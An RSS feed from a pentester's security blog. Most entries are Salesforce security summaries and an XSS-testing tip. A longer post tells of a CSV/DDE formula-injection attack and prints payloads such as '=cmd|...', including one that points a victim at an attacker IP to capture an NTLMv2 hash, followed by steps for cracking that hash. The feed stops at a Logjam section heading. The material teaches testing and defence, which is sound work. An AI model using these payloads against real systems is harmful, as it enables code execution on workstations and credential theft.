<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Explore Security</title>
	<atom:link href="https://www.exploresecurity.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.exploresecurity.com</link>
	<description>IT security tools, techniques and commentary</description>
	<lastBuildDate>Wed, 15 Jun 2022 09:21:02 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.6.1</generator>
		<item>
		<title>Exception Handling and Data Integrity in Salesforce</title>
		<link>https://www.exploresecurity.com/exception-handling-and-data-integrity-in-salesforce/</link>
		<comments>https://www.exploresecurity.com/exception-handling-and-data-integrity-in-salesforce/#comments</comments>
		<pubDate>Wed, 15 Jun 2022 09:21:02 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Salesforce]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=481</guid>
		<description><![CDATA[Robust exception handling is one of the tenets of best practice for development, no matter what the coding language. This blog post, published in full on the NCC Group research site, explores the curious circumstances in which a developer trying to do the right thing – but without appreciating the full effects – could lead [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Robust exception handling is one of the tenets of best practice for development, no matter what the coding language. This <a href="https://research.nccgroup.com/2022/06/14/exception-handling-and-data-integrity-in-salesforce/">blog post</a>, published in full on the NCC Group research site, explores the curious circumstances in which a developer trying to do the right thing – but without appreciating the full effects – could lead to data integrity issues in a Salesforce Organization. These issues revolve around the automatic rollback mechanism that the Salesforce platform provides to try to maintain data integrity. However, as is so often the case, the devil is in the detail. On the basis of recent code reviews, it is apparently under-appreciated how the addition of exception handling in Apex (the Salesforce development language) can affect the rollback mechanism, which in turn can affect data integrity. The precise impact will vary according to what&#8217;s being done to which data, but the potential for consequences detrimental to security is clear.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/exception-handling-and-data-integrity-in-salesforce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are you oversharing (in Salesforce)?</title>
		<link>https://www.exploresecurity.com/are-you-oversharing-in-salesforce/</link>
		<comments>https://www.exploresecurity.com/are-you-oversharing-in-salesforce/#comments</comments>
		<pubDate>Mon, 28 Jun 2021 11:42:18 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Salesforce]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=468</guid>
		<description><![CDATA[Unauthorised access to data is a primary concern of clients who commission a Salesforce assessment. The Salesforce documentation acknowledges that the sharing model is a &#8220;complex relationship between role hierarchies, user permissions, sharing rules, and exceptions for certain situations&#8221;. It is often said that complexity and security are natural enemies. Salesforce empowers its users with [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Unauthorised access to data is a primary concern of clients who commission a Salesforce assessment. The Salesforce documentation acknowledges that the sharing model is a &#8220;complex relationship between role hierarchies, user permissions, sharing rules, and exceptions for certain situations&#8221;. It is often said that complexity and security are natural enemies. Salesforce empowers its users with a multifaceted sharing framework in order to cover a wide variety of business use cases. But with great power comes great responsibility. This <a href="https://research.nccgroup.com/2021/06/28/are-you-oversharing-in-salesforce/">blog post</a> over on the NCC Group research site discusses the topic of misconfigured sharing, and announces the release of a new open-source tool <a href="https://www.github.com/nccgroup/raccoon">Raccoon</a> to help identify such misconfigurations, which could otherwise expose sensitive data.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/are-you-oversharing-in-salesforce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Salesforce Security with Remote Working</title>
		<link>https://www.exploresecurity.com/salesforce-security-with-remote-working/</link>
		<comments>https://www.exploresecurity.com/salesforce-security-with-remote-working/#comments</comments>
		<pubDate>Fri, 02 Oct 2020 11:38:18 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Salesforce]]></category>
		<category><![CDATA[Event monitoring]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=466</guid>
		<description><![CDATA[With Coronavirus still active across the world, life is far from settled, but the uptake of remote working is surely here to stay. From a security standpoint, organisations may feel less comfortable at the moment simply because staff are working out of sight. Whether that feeling is justified will depend on the technical measures put [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>With Coronavirus still active across the world, life is far from settled, but the uptake of remote working is surely here to stay. From a security standpoint, organisations may feel less comfortable at the moment simply because staff are working out of sight. Whether that feeling is justified will depend on the technical measures put in place to facilitate remote working. Salesforce provides logging of authentication events as part of the standard platform. This <a href="https://research.nccgroup.com/2020/10/02/salesforce-security-with-remote-working/">blog post</a> over on the NCC Group research site takes a look at monitoring these events in various contexts as a way to increase assurance.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/salesforce-security-with-remote-working/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Salesforce Policy Deviation Checker</title>
		<link>https://www.exploresecurity.com/salesforce-policy-deviation-checker/</link>
		<comments>https://www.exploresecurity.com/salesforce-policy-deviation-checker/#comments</comments>
		<pubDate>Tue, 29 Sep 2020 12:18:25 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Salesforce]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=478</guid>
		<description><![CDATA[SFPolDevChk is a quick tool to show which Profiles in a Salesforce instance have become desynced from an Organization in terms of password and session policies, with any deviations highlighted. Published as an NCC Group open source project.]]></description>
				<content:encoded><![CDATA[<p>SFPolDevChk is a quick tool to show which Profiles in a Salesforce instance have become desynced from an Organization in terms of password and session policies, with any deviations highlighted. Published as an NCC Group open source <a href="https://github.com/nccgroup/SFPolDevChk">project</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/salesforce-policy-deviation-checker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Common Insecure Practices with Configuring and Extending Salesforce</title>
		<link>https://www.exploresecurity.com/common-insecure-practices-with-configuring-and-extending-salesforce/</link>
		<comments>https://www.exploresecurity.com/common-insecure-practices-with-configuring-and-extending-salesforce/#comments</comments>
		<pubDate>Tue, 02 Jun 2020 11:36:31 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Salesforce]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=464</guid>
		<description><![CDATA[This blog post on the NCC Group research site discusses the most common findings from a sample of over 35 security assessments of Salesforce customer deployments. The assessments covered a mixture of configuration and code review, and the common issues were sorted into broad categories: Deviation From Salesforce Baseline Standard, Deviation From Security Best Practice, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>This <a href="https://research.nccgroup.com/2020/06/02/common-insecure-practices-with-configuring-and-extending-salesforce/">blog post</a> on the NCC Group research site discusses the most common findings from a sample of over 35 security assessments of Salesforce customer deployments. The assessments covered a mixture of configuration and code review, and the common issues were sorted into broad categories: Deviation From Salesforce Baseline Standard, Deviation From Security Best Practice, Authentication Issues, File Handling, Insecure Code, Unhandled Security Alerts and Critical Updates Pending (now since merged by Salesforce), and Broken Access Controls.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/common-insecure-practices-with-configuring-and-extending-salesforce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Case of the Customer Data and the Third-Party Analytics Site</title>
		<link>https://www.exploresecurity.com/the-case-of-the-customer-data-and-the-third-party-analytics-site/</link>
		<comments>https://www.exploresecurity.com/the-case-of-the-customer-data-and-the-third-party-analytics-site/#comments</comments>
		<pubDate>Fri, 17 May 2019 15:32:32 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Data Privacy]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[GDPR]]></category>
		<category><![CDATA[penetration testing]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=460</guid>
		<description><![CDATA[I recently had an article published on the NCC Group blog about a pentest during which it became clear that customer personal data was being sent to a third party. It&#8217;s common for websites to use metrics/analytics services to collect usage data on how users are interacting with the sites. I thought it would be [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I recently had an article <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/may/the-case-of-the-customer-data-and-the-third-party-analytics-site/">published</a> on the NCC Group blog about a pentest during which it became clear that customer personal data was being sent to a third party. It&#8217;s common for websites to use metrics/analytics services to collect usage data on how users are interacting with the sites. I thought it would be useful to highlight the danger of sensitive data being accidentally sent to third parties without due care and attention paid to GDPR. Have a read!</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/the-case-of-the-customer-data-and-the-third-party-analytics-site/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JWT Attack Walk-Through</title>
		<link>https://www.exploresecurity.com/jwt-attack-walk-through/</link>
		<comments>https://www.exploresecurity.com/jwt-attack-walk-through/#comments</comments>
		<pubDate>Fri, 25 Jan 2019 10:13:31 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[JWT]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<category><![CDATA[web apps]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=455</guid>
		<description><![CDATA[Over on the NCC Group website I published a solution to an open demonstration of the well-known JSON Web Token (JWT) algorithm confusion vulnerability (the one where you swap the token algorithm from &#8216;RS&#8217; to &#8216;HS&#8217; and sign your payload with the public key). I use OpenSSL to gain full visibility of what&#8217;s happening and, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Over on the NCC Group website I <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/">published</a> a solution to an open demonstration of the well-known JSON Web Token (JWT) algorithm confusion vulnerability (the one where you swap the token algorithm from &#8216;RS&#8217; to &#8216;HS&#8217; and sign your payload with the <em>public</em> key). I use OpenSSL to gain full visibility of what&#8217;s happening and, by walking through the method, if you ever need to test this vulnerability yourself, it will hopefully help to avoid false negatives.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/jwt-attack-walk-through/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Missing XSS flaws with innerHTML and jQuery</title>
		<link>https://www.exploresecurity.com/missing-xss-flaws-with-innerhtml-and-jquery/</link>
		<comments>https://www.exploresecurity.com/missing-xss-flaws-with-innerhtml-and-jquery/#comments</comments>
		<pubDate>Wed, 28 Mar 2018 15:11:42 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[web apps]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=440</guid>
		<description><![CDATA[I thought a couple of gotchas when testing for XSS could be a useful post. Not new, especially, but I haven&#8217;t posted for a while. It shows how you might think you&#8217;ve covered an area of a web application and declared it free from XSS but in fact there might be a bug left behind. [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I thought a couple of gotchas when testing for XSS could be a useful post. Not new, especially, but I haven&#8217;t posted for a while. It shows how you might think you&#8217;ve covered an area of a web application and declared it free from XSS but in fact there might be a bug left behind.<span id="more-440"></span></p>
<p>These days a typical web app pulls in data from background XHR requests, the responses come back in a data format like JSON, and the data is parsed client-side and inserted into the DOM of the page. This means, of course, that the encoding of the data in the response is not sufficient by itself to know whether there’s a potential XSS risk – it depends how the data is finally encoded when inserted into the page. But consider the following:</p>
<ol>
<li>You enter <code>&lt;script&gt;alert(1)&lt;/script&gt;</code> hoping for a quick and dirty win – nothing</li>
<li>You suspect input validation so you enter something that you hope will pass validation but test encoding, e.g. <code>xss &lt; &gt; test</code></li>
<li>You inspect the page using the browser dev tools and see it has been inserted as <code>xss &amp;lt; &amp;gt; test</code></li>
<li>So the encoding looks good, and you move on -</li>
</ol>
<p>But wait! Even dangerous DOM manipulation can perform encoding in a text context. For example, <code>innerHTML</code> will observe the <a href="https://w3c.github.io/DOM-Parsing/#xml-serializing-a-text-node">rules</a> and, in a text context, will encode <code>&lt;</code> as <code>&amp;lt;</code> and <code>&gt;</code> as <code>&amp;gt;</code> (and <code>&amp;</code> as <code>&amp;amp;</code> in fact), otherwise those characters are inserted/parsed literally. So the encoding seen in step 3 could be explained by this, meaning that the potential for XSS still exists. It’s precisely because jQuery uses <code>innerHTML</code> as part of functions like <a href="http://api.jquery.com/append/"><em>append()</em></a> that the documentation is full of caveats about not using data from &#8220;untrusted sources&#8221;.</p>
<p>Let’s assume the developers haven’t thought about XSS at all. So why did step 1 fail? This is because the <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">spec</a> says &#8220;script elements inserted using <code>innerHTML</code> do not execute when they are inserted&#8221;. If the first test case had been <code>&lt;img src=x onerror=alert(1)&gt;</code> the XSS would have been revealed in step 1.</p>
<p>Hope that’s of some use!</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/missing-xss-flaws-with-innerhtml-and-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From CSV to CMD to qwerty</title>
		<link>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/</link>
		<comments>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/#comments</comments>
		<pubDate>Tue, 19 Apr 2016 22:53:41 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[CSV]]></category>
		<category><![CDATA[DDE]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[XLS]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=415</guid>
		<description><![CDATA[The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing NCC Con held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/january/ncc-con-europe-2016/">NCC Con</a> held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often overlooked) Dynamic Data Exchange (DDE) trick to go from an Excel export function in a web app to OS code running on users&#8217; workstations. From there, the story takes us on to domain creds via some NTLMv2 theory (without a pentest laptop), a bug in hashcat and a new script &#8220;catflap&#8221;.<span id="more-415"></span></p>
<p>[EDIT - for more of the <em>CSV</em> and <em>CMD</em> and less of the <em>qwerty</em>, take a look at this <a href="http://www.slideshare.net/exploresecurity/camsec-sept-2016-tricks-to-improve-web-app-excel-export-attacks">presentation</a> I did later in the year.]</p>
<h3>From CSV to CMD</h3>
<p>DDE is an old <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx">Microsoft technology</a> used to facilitate data transfer between applications, a form of Inter-Process Communication (IPC). The security risks in the context of web applications were, to my knowledge, first published <a href="http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/">here</a> by <a href="https://twitter.com/albinowax">James Kettle</a> (I would have sworn this technique was around before 2014 &#8211; how time flies).</p>
<p>A brief reminder then: imagine an export function in a web app, where some of the data in the cells comes from user input (so like persistent XSS it is stored and later reflected) e.g. consider an application that stores the following parameter value:</p>
<p><code><span style="font-size: 0.857143rem; line-height: 2;">=cmd|'/k ipconfig'!A0</span></code></p>
<p style="text-align: left;">On requesting an export, a CSV file is returned that includes this value in a field. When this file is opened, Excel knows that this DDE reference could be dangerous and issues a couple of warnings:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png"><img class="aligncenter  wp-image-417" alt="warning1" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png" width="410" height="194" /></a><a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png"><img class="aligncenter size-full wp-image-416" alt="warning2" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png" width="781" height="139" /></a>In this case, an eagle-eyed user might raise an eyebrow at CMD.EXE but, as the original article notes, if the user requested the Excel file and it came from a source they trust, why wouldn&#8217;t it be secure? And we know that users click through warnings anyway.</p>
<p style="text-align: left;">When <code>cmd /k ipconfig</code> runs, the /k persists the command window for a screenshot to use in the report <img src='https://www.exploresecurity.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png"><img class="aligncenter size-full wp-image-420" alt="cmd-ipconfig" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png" width="1437" height="455" /></a>In fact, without that persistence, the command seems to run in a minimised window and then of course exits, which is rather nice for our attacker. I should say that export to CSV seems to be cleaner from the attacker&#8217;s perspective than export to XLS or XLSX, which often requires extra action by the user to activate the payload such as clicking into the malicious cell, which isn&#8217;t desirable. All of this behaviour is subject to the version of Excel running and its configuration.</p>
<h3>From CMD to qwerty</h3>
<p>The war story concerned an <em>internal</em> application that was vulnerable to the DDE trick, and so I started playing around with payloads that would be more exciting than <code>ipconfig</code> or <code>calc</code>. Here&#8217;s a simple one:</p>
<p><code>cmd /c net use \\&lt;attacker_IP&gt;\c$</code></p>
<p>In this case the &#8220;attacker_IP&#8221; belonged to a locked-down workstation (no pentest laptops allowed) &#8211; but it did, curiously enough, have Wireshark installed. So here was the &#8220;net use&#8221; connection from the &#8220;victim&#8221; (which was in fact a machine I was using and thus I knew the username and password):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png"><img class="aligncenter size-full wp-image-421" alt="net-use" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png" width="1189" height="303" /></a>Bear in mind this was an internal test: if the victim was using a vulnerable internet-facing website, their ISP would likely <em>[cough]</em> block the outgoing SMB connection.</p>
<p>I was dealing with NTLMv2 here: a quick <a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats">reminder</a> showed that I needed to pull out the following for John:</p>
<p><strong><code>username:$<span style="color: green;">NETNTLMv2</span>$domain$challenge$HMAC-MD5$blob</code><br />
</strong><br />
What&#8217;s in <span style="color: green;"><strong>green</strong></span> is known at this point (&#8220;NETNTLMv2&#8243; is a constant). I could immediately fill in the domain and username fields as they&#8217;re given away in cleartext by the NTLMv2 exchange, helpfully pulled out in the (obfuscated) Packet List above (and anonymised below):</p>
<p><strong><code><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$challenge$HMAC-MD5$blob<br />
</code></strong><br />
So what about the other bits? They all relate to the NTLM authentication, which is a challenge-handshake protocol:</p>
<p><b>1. Client &gt; Server (Type 1, negotiation)</b><br />
Features supported by the client and requested of the server<br />
<b>2. Server &gt; Client (Type 2, challenge)</b><br />
Features supported and agreed upon by the server + a challenge<br />
<b>3. Client &gt; Server (Type 3, authentication)</b><br />
More information about the client + response(s)</p>
<p>The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes <em>yada yada yada</em>); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the &#8220;blob&#8221; comes in. So that&#8217;s covered off the &#8220;challenge&#8221;, &#8220;HMAC-MD5&#8243; and &#8220;blob&#8221; that&#8217;s missing from the John hash I&#8217;m having to build up from scratch. (Remember, I had no tools, otherwise <a href="https://github.com/SpiderLabs/Responder">Responder</a> would have made this easy.) Here&#8217;s the challenge:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png"><img class="aligncenter size-full wp-image-422" alt="challenge" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png" width="442" height="151" /></a>And here&#8217;s the HMAC-MD5 and blob (which is everything after the HMAC in the &#8220;NTLM Response tree&#8221;):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png"><img class="aligncenter size-full wp-image-423" alt="HMAC-blob" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png" width="663" height="261" /></a><span style="line-height: 1.71429; font-size: 1rem;">To get the blob, you can copy the NTLM Response bytes from within Wireshark and remove the first 16 bytes (which is the HMAC). The blob is likely to start 0&#215;01010000&#8230;So we now have:</span></p>
<p><code><strong><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$<span style="color: green;">36edff8376e59e18</span>$<span style="color: green;">4f68b56e9ce788d010f58b4f049b5c7f</span>$<span style="color: green;">0101000000000000295779de01bbd001b6f955bf062e...</span></strong><br />
</code><br />
That&#8217;s the hard part done, right? Wrong.</p>
<h3>Let&#8217;s get cracking</h3>
<p>Here was John&#8217;s response (bear in mind I knew the password), and, after duly modifying the hash format, hashcat wasn&#8217;t happy either:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png"><img class="aligncenter size-full wp-image-424" alt="hash-no-crack" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png" width="718" height="284" /></a><span style="line-height: 1.71429; font-size: 1rem;">Note the &#8220;skipping line&#8221; error. Turns out hashcat has a bug, which (I later found out) oclhashcat doesn&#8217;t suffer from. I experimented with it and </span><a style="line-height: 1.71429; font-size: 1rem;" href="https://github.com/hashcat/hashcat/issues/3">reported</a><span style="line-height: 1.71429; font-size: 1rem;"> it &#8211; hashcat has problems when the blob length is over 224 bytes. For some reason, it&#8217;s not been assigned a &#8220;bug&#8221; label but a &#8220;new feature&#8221; label. Anyway, back to John: remember the format on the cheatsheet was:</span></p>
<p><strong><code>username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob</code></strong></p>
<p>Turns out the hashcat format worked a treat, i.e.</p>
<p><code><strong>username::domain:challenge:HMAC-MD5:blob</strong></code></p>
<p>To be fair to pentestmonkey, &#8220;this sheet was originally based on john-1.7.8-jumbo-5. Changes in supported hashes or hash formats since then may not be reflected on this page&#8221;, and I was using a later version. Anyway, all&#8217;s well that ends well:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png"><img class="aligncenter size-full wp-image-428" alt="hash-cracked-john" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png" width="919" height="116" /></a></p>
<h3>catflap</h3>
<p>In order to look into the bug I found, I wrote a script (which I called <a href="https://github.com/exploresecurity/catflap"><em>catflap</em></a>) that serves two purposes:</p>
<ol>
<li>It extracts what hashcat needs from the NTLMv2 exchange in a Wireshark capture file.</li>
<li><span style="line-height: 1.71429; font-size: 1rem;">It allows you to produce a more realistic test case to check your NTLMv2 cracker is working properly. For this catflap will accept a normal hash format from a file as well as a capture file. catflap will recalculate the NTLMv2 response based on a password you supply. This means all the other variables (username, domain, challenge and, crucially, the blob) in the resulting test hash are exactly the same as the ones in your captured exchange, but in this test case you know the password. In this way you can ensure your cracking tool is working correctly, and acts as a better test than the standard hash examples out there, useful though they are. Of course, you could also play about with other inputs, which is what I did with the blob find the bug.</span></li>
</ol>
<p>Usage is simply:</p>
<p><code>catflap &lt;capture_file | hashcat_file&gt; [password]</code></p>
<p>The following shows catflap changing the HMAC response to set the password to &#8220;password&#8221;:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png"><img class="aligncenter size-full wp-image-429" alt="catflap" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png" width="962" height="400" /></a>You can then run that edited hash through your cracker of choice to ensure it spits out &#8220;password&#8221;. If not, something&#8217;s gone wrong. You can find catflap on <a href="https://github.com/exploresecurity/catflap">github</a>.</p>
<h3>Input validation and sanitisation</h3>
<p>Whenever I find an Excel export function in a web app, most of the time the DDE trick works because the characters used to launch the payload aren&#8217;t the usual suspects. It&#8217;s not a well-known attack vector, even among pentesters (or at least it&#8217;s been forgotten) so it&#8217;s worth remembering to check for this.</p>
<p>What about remediation? The <a href="https://web.archive.org/web/20160324063226/http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/"><em>original</em></a> article on this stated that &#8220;the best defence strategy we are aware of is prefixing cells that start with &#8216;=&#8217; with an apostrophe&#8221;. Last month this topic came up in a company-wide discussion at <a href="https://www.nccgroup.trust/">work</a>, and my colleague <a href="https://twitter.com/bones_codes">Cara Marie</a> noted that &#8216;+&#8217; and &#8216;-&#8217; could be used to launch a command too. Turns out (thanks to Michael Roberts, another NCC bod) that this had been lurking around for while, for example <a href="https://hackerone.com/reports/72785">here</a>). Michael added that you can also use &#8216;@&#8217; in the format:</p>
<p><code>@SUM(cmd|'/c calc'!A0)</code></p>
<p>as well as surrounding the payload with quotes such as:</p>
<p><code>"=cmd|'/c calc'!A0"</code>.</p>
<p>Over this last month the original article has been updated twice to reflect the same findings (except for the use of quotes). So, as far as I know, two independent groups came up with new bypasses for the original recommendation. The point here, then, is that the blacklist approach by itself often fails (which shouldn&#8217;t be news to anyone who&#8217;s done a re-test). We need to perform validation based on a whitelist of characters and syntax wherever possible. For example, if a field is a phone number, there should be no need for characters such as &#8216;=&#8217; and &#8216;@&#8217;. Starting off with &#8216;+&#8217; is reasonable (prefixing an international dialling code) but after that we shouldn&#8217;t see any non-numeric characters. We can also restrict the length of that field too. With these restrictions in place, we don&#8217;t even need to implement (and maintain) a blacklist.</p>
<h3>Red teaming</h3>
<p>The story of this article was set around a web application that allowed export but the DDE trick is valuable to red teams trying to get malicious attachments through email. The reason for this is that a DDE payload isn&#8217;t a macro and files that use it are often able to fly through perimeter content checks that would stop files with macros.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A Thick Spread of Logjam</title>
		<link>https://www.exploresecurity.com/a-thick-spread-of-logjam/</link>
		<comments>https://www.exploresecurity.com/a-thick-spread-of-logjam/#comments</comments>
		<pubDate>Mon, 20 Jul 2015 22:26:59 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[SSL/TLS]]></category>
		<category><![CDATA[Logjam]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=404</guid>
		<description><![CDATA[This article dissects the recent Logjam paper from a pentesting viewpoint to reveal a number of different factors that affect the impact of the vulnerability. One of those factors includes the use of common primes and I&#8217;ve included a small change to OpenSSL that you can use to look out for this. Two for the [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>This article dissects the recent Logjam paper from a pentesting viewpoint to reveal a number of different factors that affect the impact of the vulnerability. One of those factors includes the use of common primes and I&#8217;ve included a small change to OpenSSL that you can use to look out for this.<span id="more-404"></span></p>
<h3>Two for the price of one</h3>
<p>For me, the penny dropped when I realised that the <a href="https://weakdh.org/imperfect-forward-secrecy.pdf">Logjam paper</a> sets out <em>two</em> strategies. The first is a <em>cryptanalytic</em> attack that uses pre-computation to speed up the process of cracking a Diffie-Hellman (DH) key exchange. The second is a <em>protocol</em> attack that allows weaker export-grade versions of DH-based cipher suites to be selected, so long as they are supported by the server. A man-in-the-middle attacker who can make use of the second technique can downgrade vulnerable connections, which helps the first attack by forcing the use of weaker cryptography. But an attacker doesn&#8217;t <em>have</em> to rely on the downgrade trick for an attack on the security of the connection to succeed. It all depends on what the attacker wants to achieve and what position they are in.</p>
<h3>Attack scenarios</h3>
<p>If the attacker wants to modify the data in transit then the attack must be performed in real time. The attacker must be a man-in-the-middle and have access to sufficient computing resources to perform the necessary cryptanalysis in a short space of time. To ease the cryptanalysis, if the attacker can downgrade the connection to using a 512-bit prime, then so much the better. That&#8217;s only possible if the server supports export-grade DH cipher suites. In the opinion of the Logjam authors, any 512-bit prime should be considered vulnerable but a 768-bit, and certainly a 1024-bit, DH prime would require a serious amount of effort to attack.</p>
<p>In contrast, decrypting (but not modifying) the secure traffic from a connection that begins with a DH key exchange can be done <em>passively</em> in slower time: the attacker can capture the traffic and run the cryptanalysis offline. In this case, the attacker must contend with whatever strength of DH prime was selected during the TLS negotiation, which is unlikely to be 512-bit. For passive attacks, cipher suite preference is therefore more important: if the server prefers a common cipher suite that <em>isn&#8217;t</em> based on the standard DH key exchange (e.g. AES256-SHA) then a passive attack is very unlikely to succeed.</p>
<h3>Client-side fixes</h3>
